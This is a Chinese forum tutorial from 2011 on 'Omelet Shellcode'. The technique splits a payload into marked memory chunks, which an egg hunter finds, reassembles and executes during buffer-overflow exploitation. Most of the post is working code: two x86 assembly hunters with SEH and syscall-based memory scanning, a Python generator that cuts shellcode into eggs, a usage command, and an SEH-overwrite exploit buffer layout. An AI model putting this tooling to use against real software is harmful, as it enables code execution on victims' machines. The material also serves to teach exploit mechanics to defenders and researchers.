本帖最后由 riusksk 于 2011-3-28 11:06 编辑
作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com
前言
由于在实际溢出利用中,我们可能会遇到内存中没有足够的空间来存放我们的shellcode,但我们又可以控制多块小内存空间的内容,那些此时我们就可使用shellcode分段执行技术来进行利用,这种方法在国外被称为“Omelet Shellcode”,属于egg hunt shellcode的一种形式,它先在用户地址空间中寻找与其相匹配的各个小内存块(egg),然后再将其重构成一块大块的shellcode,最后执行它。此项技术最初是由荷兰著名黑客SkyLined在其主页上公布的(具体代码参见附件),该黑客先前就职于Microsoft,但于2008年初转入Google,同时他也是著名的字母数字型shellcode编码器Alpha2 / Alpha3的开发者。
原理分析
将Shellcode拆分成固定大小的多个代码块,各个代码块中包含有其字节大小size,索引值index,标记marker(3 字节)和数据内容data,如图1所示:
图1
当egghunter代码开始执行时,它会在用户内存空间中(0x00000000~0x80000000)搜索这些被标记的小块,然后在内存中重构成最初的shellcode并执行它。而当shellcode执行时,它还会安装SEH以处理访问违例时的情况。若出现访问违例,则SEH handler会将地址与0xFFF进行或运算,然后再加1,相当于进入下一内存页,以跳过不可读取的内存页。如果搜索的内存地址大于0x7FFFFFFF,那么终止搜索,并在内存中重构shellcode用于执行,否则重置栈空间,防止因递归进行异常处理而将栈空间耗尽,它会重新设置SEH handler并继续搜索内存。相应代码如下:
reset_stack:
XOR EAX, EAX
MOV ECX, [FS:EAX]
find_last_SEH_loop:
MOV ESP, ECX
POP ECX
CMP ECX, 0xFFFFFFFF
JNE find_last_SEH_loop
POP EDX
CALL create_SEH_handler
SEH_handler:
POPA
LEA ESP, [BYTE ESI+0x18]
POP EAX
OR AX, 0xFFF
INC EAX
JS done
XCHG EAX, EDI
JMP reset_stack
当从地址0x00000000开始搜索后,若找到以相匹配的egg_size开头的egg内存块,它会将接下的DWORD值与一个特殊值(3字节的标记值和1字节的0xFF)相异或,如果是我们要找的egg内存块,那么获取的结果会等于内存块的索引号(从0开始),比如第二块egg内存块的这个DWORD值为0xBADA55FE,那么它与0xBADA55FF相异或后值为1。如果不是相匹配的egg内存块,则继续搜索下一字节。对应的代码如下所示: create_SEH_handler:
PUSH ECX
MOV [FS:EAX], ESP
CLD
scan_loop:
MOV AL, egg_size
egg_size_location equ $-1 - $
REPNE SCASB
PUSH EAX
MOV ESI, EDI
LODSD
XOR EAX, (marker << 8) + 0xFF
marker_bytes_location equ $-3 - $
CMP EAX, BYTE max_index
max_index_location equ $-1 - $
JA reset_stack
找到egg内存块后,将内存块大小egg_size与索引值egg_index相乘可得到该内存块在原始shellcode中的偏移egg_offset,然后将它再加上存放shellcode的栈空间起始地址,最后得到绝对地址,并将该egg内存块复制到绝对地址上,直至所有的egg内存块全部复制到栈上,进而在栈上重构出完整的shellcode。其对应代码如下: POP ECX
IMUL ECX
ADD EAX, [BYTE FS:EDX + 8]
XCHG EAX, EDI
copy_loop:
REP MOVSB
MOV EDI, ESI
最后就是跳到栈底去执行重构后的shellcode:
done:
XOR EAX, EAX
CALL [BYTE FS:EAX + 8]
这样就完成了对各段egg内存块的搜索,并重构出完整shellcode来执行。
注意:由于此份代码只搜索0x00000000~0x80000000之间的用户内存空间,因此对于开启/3Gb(0x00000000~0xC000000)开关的系统并不适用,若应用在这样的系统上就可能会导致部分egg内存块未搜索到,以致无法正确地执行shellcode。
在2010年8月,由Exploit编写系列教程的作者Peter Van Eeckhoutte编写的egg-to-omelet hunter程序在其博客上公布了(详细源码参见附件),此份程序对原先由SkyLined编写的omelet hunter进行了改进,提高其成功率和稳定性。此份程序先从当前栈桢的末尾 (0x....ffff) 开始搜索,为了避免出现NULL字节,又让egg内存块数量nr_egg加1,因此我们还可以让它与1相比较,然后去搜索保存在eax中的内存块标记tag,此标记类似这样:
这里seq = 1 + number_of_remaining_eggs_to_find + 1,比如你有3个egg内存块,那么各块egg对应的tag分别为 :
Egg 1 : 77 30 30 05
Egg 2 : 77 30 30 04
Egg 3 : 77 30 30 03
在搜索过程中,它通过调用NtAccessCheckAndAuditAlarm来判断是否出现访问违例,出错则重新搜索,否则就继续寻找各内存块标记tag,找到后通过rep movsb指令将其复制到edi指向的地址中,进而重组原始shellcode并进行执行。具体源码分析如下:
BITS 32
nr_eggs equ 0x2
egg_size equ 0x7b
jmp short start
get_target_loc:
push esp
pop edi
or di,0xffff
mov edx,edi
xor eax,eax
mov al,nr_eggs
calc_target_loc:
xor esi,esi
mov si,0-(egg_size+20)
get_target_loc_loop:
dec edi
inc esi
cmp si,-1
jnz get_target_loc_loop
dec eax
jnz calc_target_loc
xor ebx,ebx
mov bl,nr_eggs+1
ret
start:
call get_target_loc
jmp short search_next_address
find_egg:
dec edx
dec edx
dec edx
dec edx
search_next_address:
inc edx
push edx
push byte +0x02
pop eax
int 0x2e
cmp al,0x5
pop edx
je search_next_address
mov eax,0x77303001
add eax,ebx
xchg edi,edx
scasd
xchg edi,edx
jnz find_egg
copy_egg:
mov esi,edx
xor ecx,ecx
mov cl,egg_size
rep movsb
dec ebx
cmp bl,1
jnz find_egg
done:
call get_target_loc
jmp edi
以上分析的两份程序均是对各egg内存块进行搜索的egg-to-omelet hunter程序,SkyLined还提供了另一份代码用于将shellcode进行分段,构造出各段egg内存块数据,其文件名为w32_SEH_omelet.py,是用Python编写的。它主要是遵循SkyLined在w32_SEH_omelet.asm代码中所提到的算法进行计算,以获取各块egg中的字节大小size,索引值index,标记值marker(默认为0x280876),以及各egg中的部分shellcode代码,每块egg的大小是固定的(默认为127字节),不足的用'@'(0x40)填充。其核心代码如下: def Main(my_name, bin_file, shellcode_file, output_file, egg_size = '0x7F', marker_bytes = '0x280876'):
if (marker_bytes.startswith('0x')):
marker_bytes = int(marker_bytes[2:], 16)
else:
marker_bytes = int(marker_bytes)
if (egg_size.startswith('0x')):
egg_size = int(egg_size[2:], 16)
else:
egg_size = int(egg_size)
assert marker_bytes <= 0xFFFFFF, 'Marker must fit into 3 bytes.'
assert egg_size >= 6, 'Eggs cannot be less than 6 bytes.'
assert egg_size <= 0x7F, 'Eggs cannot be more than 0x7F (127) bytes.'
bin = open(bin_file).read()
marker_bytes_location = ord(bin[-3])
max_index_location = ord(bin[-2])
egg_size_location = ord(bin[-1])
code = bin[:-3]
shellcode = open(shellcode_file).read()
max_index = int(math.ceil(len(shellcode) / (egg_size - 5.0)))
assert max_index <= 0xFF, ('The shellcode would require %X (%d) eggs of %X '
'(%d) bytes, but 0xFF (255) is the maximum number of eggs.') % (
max_index, max_index, egg_size, egg_size)
marker_bytes_string = ''
for i in range(0,3):
marker_bytes_string += chr(marker_bytes & 0xFF)
marker_bytes >>= 8
max_index_string = chr(max_index)
egg_size_string = chr(egg_size - 5)
code = code[:marker_bytes_location] + marker_bytes_string + code[marker_bytes_location+3:]
code = code[:max_index_location] + max_index_string + code[max_index_location+1:]
code = code[:egg_size_location] + egg_size_string + code[egg_size_location+1:]
output = [
'// This is the binary code that needs to be executed to find the eggs, ',
'// recombine the orignal shellcode and execute it. It is %d bytes:' % (
len(code),),
'omelet_code = "%s";' % HexEncode(code),
'',
'// These are the eggs that need to be injected into the target process ',
'// for the omelet shellcode to be able to recreate the original shellcode',
'// (you can insert them as many times as you want, as long as each one is',
'// inserted at least once). They are %d bytes each:' % (egg_size,) ]
egg_index = 0
while shellcode:
egg = egg_size_string + chr(egg_index ^ 0xFF) + marker_bytes_string
egg += shellcode[:egg_size - 5]
if len(egg) < egg_size:
egg += '@' * (egg_size - len(egg))
output.append('egg%d = "%s";' % (egg_index, HexEncode(egg)))
shellcode = shellcode[egg_size - 5:]
egg_index += 1
open(output_file, 'w').write('\n'.join(output))
使用方法
关于使用方法,其实很简单,使用命令如下:
C:\Users\riusksk> w32_SEH_omelet.py w32_SEH_omelet.bin shellcode.bin output.txt 127 0xBADA55
它需要先生成两个bin文件,一个是shellcode.bin,还有一个用于egg搜索的w32_SEH_omelet.bin,这里用Peter Van Eeckhoutte编写的egg-to-omelet hunter程序来生成bin文件以代替w32_SEH_omelet.bin也是可以的。关于shellcode.bin,你可以先用metasploit先生成shellcode,然后用perl/python将shellcode写入一个bin文件即可;而w32_SEH_omelet.bin可直接用nasm去编译SkyLined的w32_SEH_omelet.asm或者Peter Van Eeckhoutte写的corelanc0d3r_omelet.asm从而得到此bin文件。Output.txt是输出文件,用来保存生成各个egg以及omelet代码,后面的127是每一块egg内存块的字节数,而0xBADA55是标记值,你也可采用其它3字节数据,比如w00(0x773030),最后生成的输出文件内容类似如下:
omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08"
egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57"
egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD"
egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01"
生成文件后我们就可以在实际漏洞利用中构造出类似下面这样的exploit:
【junk】【nseh(jmp 06)】【seh(pop pop ret)】【nops】【omelet_code】【junk】【egg0】【junk】【egg1】【junk】【egg2】
不过具体的实际漏洞利用还得受一些操作环境影响,得视具体情况进行变化,同时还需要一点运气!
结语
本文就Omelet Shellcode进行简单地分析,阐述了shellcode分段执行技术的基本原理,并对其使用进行简单的讲解,以帮助大家更好地理解并应用好Omelet Shellcode。在本文是笔者只是起到了一个抛砖引玉的作用,关于shellcode的编写还有很多技术性,同时也需要一定的艺术性,这些都需要靠大家共同来打造和分享,如果你有更多关于这方面的资料和技术,希望可以跟我分享。 |